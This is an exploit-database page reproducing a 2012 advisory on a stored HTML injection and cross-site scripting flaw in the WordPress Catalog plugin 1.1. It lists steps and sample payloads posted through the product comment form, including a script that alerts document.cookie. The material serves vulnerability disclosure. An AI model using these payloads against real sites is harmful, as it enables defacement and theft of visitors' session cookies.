header-logo
Suggest Exploit
vendor:
WordPress Catalog
by:
Daniel Barragan "D4NB4R"
8,8
CVSS
HIGH
HTML Code Injection and Cross-site scripting
79
CWE
Product Name: WordPress Catalog
Affected Version From: 1.1
Affected Version To: 1.1
Patch Exists: YES
Related CWE: N/A
CPE: a:web-dorado:wordpress_catalog
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux(Arch)-Windows(7ultimate)
2012

WordPress Plugin Catalog HTML Code Injection and Cross-site scripting

Spider WordPress Product Catalog plugin is a convenient tool for organizing the products represented on your website into catalogs. Each product on the catalog is assigned with a relevant category, which makes it easier for the customers to search and identify the needed products within the WordPress catalog. It is possible to add an unlimited number of parameters for each of the categories in the catalog in order to allow a detailed representation of the product on the catalog. Moreover, each product on the catalog can be accompanied with an image. The error occurs when sending product reviews "view=showproduct" allowing the attacker to send code to your liking, not $_POST validate the form this code is stored in the db.

Mitigation:

Validate user input and filter out malicious code.
Source

Exploit-DB raw data:

 1               #########################################              1
 0               I'm D4NB4R member from Inj3ct0r Team                   1
  1               #########################################              0
 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

 #Exploit Title: Wordpress Plugin Catalog HTML Code Injection and Cross-site scripting

 Dork: N/A
 
 Date: [31-10-2012]
 
 Author: Daniel Barragan "D4NB4R"
 
 Twitter: @D4NB4R
  
 Version: 1.1
 
 License: Non-Commercial

 Vendor: http://www.web-dorado.com/products/wordpress-catalog.html
  
 Tested on: [Linux(Arch)-Windows(7ultimate)]



 Descripcion: 

Spider WordPress Product Catalog plugin is a convenient tool for organizing the products represented on 
your website into catalogs. Each product on the catalog is assigned with a relevant category, which makes
it easier for the customers to search and identify the needed products within the WordPress catalog. It 
is possible to add an unlimited number of parameters for each of the categories in the catalog in order to
allow a detailed representation of the product on the catalog. Moreover, each product on the catalog can 
be accompanied with an image.


  Vulnerable Parameter Name: 

                    ?s_p_c_t={Random id}&product_id={Random id}&view=showproduct&page_num={Random id}&back={Random id}

 The error occurs when sending product reviews "view=showproduct" allowing the attacker 
 to send code to your liking, not $_POST validate the form this code is stored in the db.
                    

  Exploit 1:  

               HTML Code Injection 



 1. Select any of the products, click and give details or more

 2. Once done this post your code on the form with title "Add your comment here". 

      An example of html:

               <center><marquee><h1>HTML code Injection Tested By D4NB4R</h1></marquee></center>



   http://localhost/?s_p_c_t={Random id}&product_id={Random id}&view=showproduct&page_num={Random id}&back={Random id}

     


  Exploit 2: 

                Cross-site scripting 



 1. Select any of the products, click and give details or more

 2. Once done this post your code on the form with title "Add your comment here".

       An example of possible xss: 

                   <script>alert(document.cookie)</script>
                   <script>alert("Xss by D4NB4R")</script>

    
    
    http://localhost/?s_p_c_t={Random id}&product_id={Random id}&view=showproduct&page_num={Random id}&back={Random id}



  Greetz:  All Member Inj3ct0r  Team * m1nds group (www.m1nds.com)* pilot * aku * navi_terrible * dedalo * ksha
  * shine * devboot * r0073r * indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 Jago-dz * Kha&miX * T0xic
  * Ev!LsCr!pT_Dz * By Over-X *Saoucha * Cyber Sec * theblind74 * onurozkan * n2n * Meher Assel
  * L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller Sid3^effects
  * aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * MR.SoOoFe
  * ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te

        
_____________________________________________________
Daniel Barragan "D4NB4R" 2012